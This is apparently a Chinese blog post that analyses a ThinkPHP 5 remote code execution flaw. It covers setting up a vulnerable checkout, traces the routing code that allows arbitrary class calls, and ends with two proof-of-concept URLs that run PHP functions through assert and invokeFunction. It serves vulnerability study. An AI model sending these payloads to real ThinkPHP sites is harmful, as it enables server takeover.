前言
tp5最近爆了个rce,最先看到是在斗鱼src公众号上发的分析文章,这么大的洞,到了第二天那些什么安全网站连个预警都没有,估计tp5的站都被撸穿了。
搭建tp5环境
这是漏洞的修复https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
.
https://github.com/top-think/think
clone下来- 再cd think文件夹 ,clone
https://github.com/top-think/framework
,文件夹名字改为thinkphp - 再进入thinkphp ,代码回滚到修洞修复之前
分析
可以看到,修复之中是对路由加了一层正则匹配过滤。我们直接定位到有漏洞的代码。
App.php
以反斜杠\开始时直接将作为其类名。
再跟进parseModuleAndClass。
App.php
controller调用了parseModuleAndClass,再跟进controller
module.php
回到实例化控制器。
熟悉tp的人都知道,tp的路由信息还可以同过$_GET's'来传递控制路由。
POC
我看斗鱼src公众号里文章里是利用了Request类的input方法。
直接跟进input函数,函数本体是没有问题的,发现调用了一个过滤函数,再跟进。
很明显知道最后调用的call_user_func来达到任意代码执行的效果。
poc如下:
http://127.0.0.1/public/index.php?s=index/\think\Request/input&data=phpinfo()&filter=assert
再给一个:
index.php?s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=111